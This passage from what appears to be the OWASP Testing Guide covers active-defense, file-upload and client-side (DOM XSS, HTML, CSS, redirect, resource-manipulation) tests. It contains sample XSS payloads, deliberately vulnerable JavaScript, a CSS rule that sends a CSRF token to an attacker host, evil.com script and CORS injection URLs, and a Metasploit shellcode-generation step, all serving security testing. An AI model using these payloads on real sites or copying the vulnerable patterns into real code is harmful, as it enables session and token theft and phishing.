The lack of active defenses allows an attacker to hunt for vulnerabilities without any recourse. The application's owner will thus not know their application is under attack.

Example

An authenticated user undertakes the following (unlikely) sequence of actions:

1. Attempt to access a file ID their roles is not permitted to download
2. Substitutes a single tick (') instead of the file ID number
3. Alters a GET request to a POST
4. Adds an extra parameter
5. Duplicates a parameter name/value pair

The application is monitoring for misuse and responds after the 5th event with extremely high confidence the user is an attacker. For example the application:

- Disables critical functionality
- Enables additional authentication steps to the remaining functionality
- Adds time-delays into every request-response cycle
- Begins to record additional data about the user's interactions (e.g. sanitized HTTP request headers, bodies and response bodies)

If the application does not respond in any way and the attacker can continue to abuse functionality and submit clearly malicious content at the application, the application has failed this test case. In practice the discrete example actions in the example above are unlikely to occur like that. It is much more probable that a fuzzing tool is used to identify weaknesses in each parameter in turn. This is what a security tester will have undertaken too.

How to Test

This test is unusual in that the result can be drawn from all the other tests performed against the web application. While performing all the other tests, take note of measures that might indicate the application has in-built self-defense:

- Changed responses
- Blocked requests
- Actions that log a user out or lock their account

These may only be localised. Common localized (per function) defenses are:

- Rejecting input containing certain characters
- Locking out an account temporarily after a number of authentication failures

Localized security controls are not sufficient. There are often no defenses against general mis-use such as:

- Forced browsing
- Bypassing presentation layer input validation
- Multiple access control errors
- Additional, duplicated or missing parameter names
- Multiple input validation or business logic verification failures with values that cannot be the result user mistakes or typos
- Structured data (e.g. JSON, XML) of an invalid format is received
- Blatant cross-site scripting or SQL injection payloads are received
- Utilising the application faster than would be possible without automation tools
- Change in continental geo-location of a user
- Change of user agent
- Accessing a multi-stage business process in the wrong order
- Large number of, or high rate of use of, application-specific functionality (e.g. voucher code submission, failed credit card payments, file uploads, file downloads, log outs, etc).

These defenses work best in authenticated parts of the application, although rate of creation of new accounts or accessing content (e.g. to scrape information) can be of use in public areas.

Not all the above need to be monitored by the application, but there is a problem if none of them are. By testing the web application, doing the above type of actions, was any response taken against the tester? If not, the tester should report that the application appears to have no application-wide active defenses against misuse. Note it is sometimes possible that all responses to attack detection are silent to the user (e.g. logging changes, increased monitoring, alerts to administrators and and request proxying), so confidence in this finding cannot be guaranteed. In practice, very few applications (or related infrastructure such as a web application firewall) are detecting these types of misuse.

Related Test Cases

All other test cases are relevant.

Tools

The tester can use many of the tools used for the other test cases.

References

- [Resilient Software](#), Software Assurance, US Department Homeland Security
- [IR 7684 Common Misuse Scoring System \(CMSS\)](#), NIST
- [Common Attack Pattern Enumeration and Classification \(CAPEC\)](#), The Mitre Corporation
- [OWASP_AppSensor_Project](#)
- [AppSensor Guide v2](#), OWASP
- Watson C, Coates M, Melton J and Groves G, [Creating Attack-Aware Software Applications with Real-Time Defenses](#), CrossTalk The Journal of Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011

Remediation

Build inactive defenses against application misuse.

Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

Summary

Many application's business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain "approved" file types. Deciding what files are "approved" is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few.

Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently "malicious" but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations.

The application may be expecting only certain file types to be uploaded for processing, such as .CSV, .txt files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system..

Example

Suppose a picture sharing application allows users to upload a .gif or .jpg graphic file to the web site. What if an attacker is able to upload an html file with a `<script>` tag in it or php file? The system may move the file from a temporary location to the final location where the php code can now be executed against the application or system.

How to Test

Generic Testing Method

- Review the project documentation and perform some exploratory testing looking for file types that should be "unsupported" by the application/system.
- Try to upload these "unsupported" files an verify that it are properly rejected.
- If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.

Specific Testing Method

- Study the applications logical requirements.
- Prepare a library of files that are "not approved" for upload that may contain files such as: jsp, exe, or html files containing script.
- In the application navigate to the file submission or upload mechanism.
- Submit the "not approved" file for upload and verify that they are properly prevented from uploading

Related Test Cases

[Test File Extensions Handling for Sensitive Information \(OTG-CONFIG-003\)](#)

[Test Upload of Malicious Files \(OTG-BUSLOGIC-009\)](#)

References

OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload

File upload security best practices: Block a malicious file upload - <http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload>

Stop people uploading malicious PHP files via forms - <http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms>

CWE-434: Unrestricted Upload of File with Dangerous Type - <http://cwe.mitre.org/data/definitions/434.html>

Secure Programming Tips - Handling File Uploads - <https://www.datasprings.com/resources/dnn-tutorials/artmid/535/articleid/65/secure-programming-tips-handling-file-uploads?AspxAutoDetectCookieSupport=1>

Remediation

Applications should be developed with mechanisms to only accept and manipulate “acceptable“ files that the rest of the application functionality is ready to handle and expecting. Some specific examples include: Black or White listing of file extensions, using “Content-Type” from the header, or using a file type recognizer, all to only allow specified file types into the system.

Test Upload of Malicious Files (OTG-BUSLOGIC-009)

Summary

Many application's business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.

Vulnerabilities related to the uploading of malicious files is unique in that these "malicious" files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Finally, "malicious" means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a "malicious" to a main frame flat file environment.

The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).

Example

Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed.

How to Test

Generic Testing Method

- Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and "malicious" file in your environment.
- Develop or acquire a known "malicious" file.
- Try to upload the malicious file to the application/system and verify that it is correctly rejected.
- If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.

Specific Testing Method 1

- Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit "msfpayload" command.
- Submit the executable via the application's upload functionality and see if it is accepted or properly rejected.

Specific Testing Method 2

- Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm.
- Submit the executable via the application's upload functionality and see if it is accepted or properly rejected.

Specific Testing Method 3

- Set up the intercepting proxy to capture the “valid” request for an accepted file.
- Send an “invalid” request through with a valid/acceptable file extension and see if the request is accepted or properly rejected.

Related Test Cases

- [Test File Extensions Handling for Sensitive Information \(OTG-CONFIG-003\)](#)
- [Test Upload of Unexpected File Types \(OTG-BUSLOGIC-008\)](#)

Tools

- Metasploit's payload generation functionality
- Intercepting proxy

References

- OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload
- Why File Upload Forms are a Major Security Threat - <http://www.acunetix.com/websitesecurity/upload-forms-threat/>
- File upload security best practices: Block a malicious file upload - <http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload>
- Overview of Malicious File Upload Attacks - <http://securitymecca.com/article/overview-of-malicious-file-upload-attacks/>
- Stop people uploading malicious PHP files via forms - <http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms>
- How to Tell if a File is Malicious - <http://www.techsupportalert.com/content/how-tell-if-file-malicious.htm>
- CWE-434: Unrestricted Upload of File with Dangerous Type - <http://cwe.mitre.org/data/definitions/434.html>
- Implementing Secure File Upload - <http://infosecauditor.wordpress.com/tag/malicious-file-upload/>
- Watchful File Upload - <http://palizine.plynt.com/issues/2011Apr/file-upload/>
- Matasploit Generating Payloads - http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads
- Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit <http://www.projectshellcode.com/?q=node/29>
- Anti-Malware Test file - <http://www.eicar.org/86-0-Intended-use.html>

Remediation

While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.

Client Side Testing

Client-Side testing is concerned with the execution of code on the client, typically natively within a web browser or browser plugin. The execution of code on the client-side is distinct from executing on the server and returning the subsequent content.

The following articles describe how to conduct a Client-Side test of a web application:

- [Testing for DOM based Cross Site Scripting \(OTG-CLIENT-001\)](#)
- [Testing for JavaScript Execution \(OTG-CLIENT-002\)](#)
- [Testing for HTML Injection \(OTG-CLIENT-003\)](#)
- [Testing for Client Side URL Redirect \(OTG-CLIENT-004\)](#)
- [Testing for CSS Injection \(OTG-CLIENT-005\)](#)
- [Testing for Client Side Resource Manipulation \(OTG-CLIENT-006\)](#)
- [Test Cross Origin Resource Sharing \(OTG-CLIENT-007\)](#)
- [Testing for Cross Site Flashing \(OTG-CLIENT-008\)](#)
- [Testing for Clickjacking \(OTG-CLIENT-009\)](#)
- [Testing WebSockets \(OTG-CLIENT-010\)](#)
- [Test Web Messaging \(OTG-CLIENT-011\)](#)
- [Test Local Storage \(OTG-CLIENT-012\)](#)

Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)

Summary

[DOM-based Cross-Site Scripting](#) is the de-facto name for [XSS](#) bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.

The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains. A DOM-based XSS vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker.

There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists.

How to Test

Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different.

In comparison to other cross site scripting vulnerabilities ([reflected and stored XSS](#)), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user's browser, a DOM-based XSS vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow.

Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques impotent to such attacks.

The first hypothetical example uses the following client side code:

```
<script>
document.write("Site is at: " + document.location.href + ".");
</script>
```

An attacker may append `#<script>alert('xss')</script>` to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the `#` character is not treated as part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of "xss" is displayed by the page. Unlike the more common types of cross site scripting (Stored and Reflected) in which the code is sent to the server and then back to the browser, this is executed directly in the user's browser without server contact.

The [consequences](#) of DOM-based XSS flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity.

Black Box testing

Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

Testing for DOM-Based XSS vulnerabilities:

JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.

User input comes in two main forms:

- Input written to the page by the server in a way that does not allow direct XSS
- Input obtained from client-side JavaScript objects

Here are two examples of how the server may insert data into JavaScript:

```
var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");
```

And here are two examples of input from client-side JavaScript objects:

```
var data = window.location;
var result = someFunction(window.referrer);
```

While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referrer object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a [URL using the document. and location. attributes.](#)

Additionally, JavaScript is often executed outside of `<script>` blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.

Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:

```
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substr(pos,document.URL.length));
</script>
```

but may not be detected in the following contrived case:

```
<script>
var navAgt = navigator.userAgent;

if (navAgt.indexOf("MSIE")!=-1) {
    document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
    document.write("You are using an unknown browser.");
}
</script>
```

For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform additional analysis of the client side code.

Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.

References

OWASP Resources

- [DOM based XSS Prevention Cheat Sheet](#)

Whitepapers

- Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model
- DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein
<http://www.webappsec.org/projects/articles/071105.shtml>
- Browser location/document URI/URL Sources - <https://code.google.com/p/domxsswiki/wiki/LocationSources>
 - i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for JavaScript Execution (OTG-CLIENT-002)

Summary

A JavaScript Injection vulnerability is a subtype of Cross Site Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim's browser. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application behavior.

How to Test

Such vulnerability occurs when the application lacks of a proper user supplied input and output validation. JavaScript is used to dynamically populate web pages, this injection occur during this content processing phase and consequently affect the victim.

When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.

The following script does not perform any validation of the variable `rr` that contains the user supplied input via the query string and additionally does not apply any form of encoding:

```
var rr = location.search.substring(1);
if(rr)
    window.location=decodeURIComponent(rr);
```

This implies that an attacker could inject JavaScript code simply by submitting the following query string:

```
www.victim.com/?javascript:alert(1)
```

Black Box testing

Black box testing for JavaScript Execution is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

Testing for JavaScript Execution vulnerabilities:

For example, looking at the following URL:

```
http://www.domxss.com/domxss/01_Basics/04_eval.html
```

The page contains the following scripts:

```
<script>
function loadObj(){
    var cc=eval(''+aMess+'');
    document.getElementById('mess').textContent=cc.message;
}
```

```
if(window.location.hash.indexOf('message')== -1)
  var aMess="{\"message\": \"Hello User!\"}";
else
  var aMess=location.hash.substr(window.location.hash.indexOf('message')+8);
</script>
```

The above code contains a source 'location.hash' that is controlled by the attacker that can inject directly in the 'message' value a JavaScript Code to take the control of the user browser.

References

OWASP Resources

- [DOM based XSS Prevention Cheat Sheet](#)
- [DOMXSS.com - http://www.domxss.com](http://www.domxss.com)

Whitepapers

- [Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources](https://code.google.com/p/domxsswiki/wiki/LocationSources)
 - i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for HTML Injection (OTG-CLIENT-003)

Summary

HTML injection is a type of injection issue that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.

How to Test

This vulnerability occurs when the user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) the legit from the malicious parts and consequently will parse and execute all as legit in the victim context.

There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is a high risk of XSS, specifically an HTML injection one. Malicious HTML code could be injected for example via `innerHTML`, that is used to render user inserted HTML code. If strings are not correctly sanitized the problem could lead to XSS based HTML injection. Another method could be `document.write()`

When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.

The `innerHTML` property sets or returns the inner HTML of an element. An improper usage of this property, that means lack of sanitization from untrusted input and missing output encoding, could allow an attacker to inject malicious HTML code.

Example of Vulnerable Code:

The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic html in the page context:

```
var userposition=location.href.indexOf("user=");
var user=location.href.substring(userposition+5);
document.getElementById("Welcome").innerHTML=" Hello, "+user;
```

In the same way, the following example shows a vulnerable code using the `document.write()` function:

```
var userposition=location.href.indexOf("user=");
var user=location.href.substring(userposition+5);
document.write("<h1>Hello, " + user + "</h1>");
```

In both examples, an input like the following:

```
http://vulnerable.site/page.html?user=<img%20src='aaa'%20onerror=alert(1)>
```

will add to the page the image tag that will execute an arbitrary JavaScript code inserted by the malicious user in the HTML context.

Black Box testing

Black box testing for HTML Injection is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

Testing for HTML Injection vulnerabilities: For example, looking at the following URL:

```
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
```

The HTML code will contains the following script:

```
<script src="../../js/jquery-1.7.1.js"></script>
<script>
function setMessage(){
  var t=location.hash.slice(1);
  $("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
}
$(document).ready(setMessage );
$(window).bind("hashchange", setMessage)
</script>
<body><script src="../../js/embed.js"></script>
<span><a href="#message" > Show Here</a><div id="message">Showing Message1</div></span>
<span><a href="#message1" > Show Here</a><div id="message1">Showing Message2</div>
<span><a href="#message2" > Show Here</a><div id="message2">Showing Message3</div>
</body>
```

It is possible to inject HTML code.

References

OWASP Resources

- [DOM based XSS Prevention Cheat Sheet](#)
- [DOMXSS.com - http://www.domxss.com](http://www.domxss.com)

Whitepapers

- [Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources](https://code.google.com/p/domxsswiki/wiki/LocationSources)
 - i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for Client Side URL Redirect (OTG-CLIENT-004)

Summary

This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.

How to Test

This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.

By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.

A phishing attack example could be the following:

```
http://www.target.site?#redirect=www.fake-target.site
```

The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials.

Moreover open redirections could also be used to maliciously craft an URL that would bypass the application's access control checks and then forward the attacker to privileged functions that they would normally not be able to access.

Black Box testing

Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

Testing for Client Side URL Redirect vulnerabilities:

When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).

These redirections could be implemented, for example in JavaScript, using the "window.location" object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).

```
var redir = location.hash.substring(1);
if (redir)
    window.location='http://'+decodeURIComponent(redir);
```

In the previous example the script does not perform any validation of the variable "redir", that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.

This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:

```
http://www.victim.site/?#www.malicious.site
```

Note how, if the vulnerable code is the following:

```
var redir = location.hash.substring(1);
if (redir)
    window.location=decodeURIComponent(redir);
```

It also could be possible to inject JavaScript code, for example by submitting the following query string:

```
http://www.victim.site/?#javascript:alert(document.cookie)
```

When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.

Moreover always consider the possibility to try absolute URLs variants as described here: <http://kotowicz.net/absolute/>

Tools

- DOMinator - <https://dominator.mindedsecurity.com/>

References

OWASP Resources

- DOM based XSS Prevention Cheat Sheet
- DOMXSS.com - <http://www.domxss.com>

Whitepapers

- Browser location/document URI/URL Sources - <https://code.google.com/p/domxsswiki/wiki/LocationSources>
 - i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
- Krzysztof Kotowicz: "Local or Externa? Weird URL formats on the loose" - <http://kotowicz.net/absolute/>

Testing for CSS Injection (OTG-CLIENT-005)

Summary

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

How to Test

Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section "Style Sinks".

```
<a id="a1">Click me</a>
<script>
  if (location.hash.slice(1)) {
    document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1);
  }
</script>
```

Specifically the attacker could target the victim by asking her to visit the following URLs:

```
www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])
www.victim.com/#red;-.:expression(alert(URL=1)); (IE 7/8)
```

The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

```
<style>
p {
  color: <?php echo $_GET['color']; ?>;
  text-align: center;
}
</style>
```

Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows. In particular, `input[name=csrf_token][value=^a]` represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker's domain.

```
<style>
input[name=csrf_token][value=^a] {
```

```
background-image: url(http://attacker/log?a);
}
</style>
```

Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.

Black Box testing

We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".

Gray Box testing

Testing for CSS Injection vulnerabilities:

Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.

The following is a basic example:

```
<a id="a1">Click me</a>
<b>Hi</b>
<script>
  $("a").click(function(){
    $("b").attr("style","color: " + location.hash.slice(1));
  });
</script>
```

The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload.

It is recommended that testers use the jQuery function `css(property, value)` in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context.

```
<a id="a1">Click me</a>
<b>Hi</b>
<script>
  $("a").click(function(){
    $("b").css("color",location.hash.slice(1));
  });
</script>
```

References

OWASP Resources

- [DOM based XSS Prevention Cheat Sheet](#)
- [DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText](https://code.google.com/p/domxsswiki/wiki/CssText)

Presentations

- DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf
- Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA
- Bypassing Content-Security-Policy, Alex Kouzemtchenko - <http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx>

Proof of Concepts

- Password "cracker" via CSS and HTML5 - <http://html5sec.org/invalid/?length=25>
- CSS attribute reading - <http://eaea.sirdarckcat.net/cssar/v2/>

Testing for Client Side Resource Manipulation (OTG-CLIENT-006)

Summary

A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.

How to Test

Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the attribute "src" of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.

```
<script>
  var d=document.createElement("script");
  if(location.hash.slice(1))
    d.src = location.hash.slice(1);
  document.body.appendChild(d);
</script>
```

Specifically the attacker could target the victim by asking her to visit the following URL:

```
www.victim.com/#http://evil.com/js.js
```

Where js.js contains:

```
alert(document.cookie)
```

Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site.

Refer to the following vulnerable code:

```
<b id="p"></b>
<script>
  function createCORSRequest(method, url) {
    var xhr = new XMLHttpRequest();
    xhr.open(method, url, true);
    xhr.onreadystatechange = function () {
      if (this.status == 200 && this.readyState == 4) {
        document.getElementById('p').innerHTML = this.responseText;
      }
    };
  }
</script>
```

```

    }
  };
  return xhr;
}

var xhr = createCORSRequest('GET', location.hash.slice(1));
xhr.send(null);
</script>

```

The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.

Exploit URL:

```
www.victim.com/#http://evil.com/html.html
```

```

http://evil.com/html.html
----
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>

```

Black Box testing

Black box testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

Testing for Client Side Resource Manipulation vulnerabilities:

To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues.

The following table shows the possible injection points (sink) that should be checked:

Resource Type	Tag/Method	Sink
Frame	iframe	src
Link	a	href
AJAX Request	xhr.open(method, [url], true);	URL
CSS	link	href
Image	img	src
Object	object	data
Script	script	src

The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities.

When trying to check for this kind of issues, consider that some characters are treated differently by different browsers. Moreover always consider the possibility to try absolute URLs variants as described here: <http://kotowicz.net/absolute/>

Tools

- DMinator - <https://dominator.mindedsecurity.com/>

References

OWASP Resources

- DOM based XSS Prevention Cheat Sheet
- DOMXSS.com - <http://www.domxss.com>
- DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html

Whitepapers

- DOM XSS Wiki - <https://code.google.com/p/domxsswiki/wiki/LocationSources>
- Krzysztof Kotowicz: "Local or External? Weird URL formats on the loose" - <http://kotowicz.net/absolute/>

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

Summary

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.

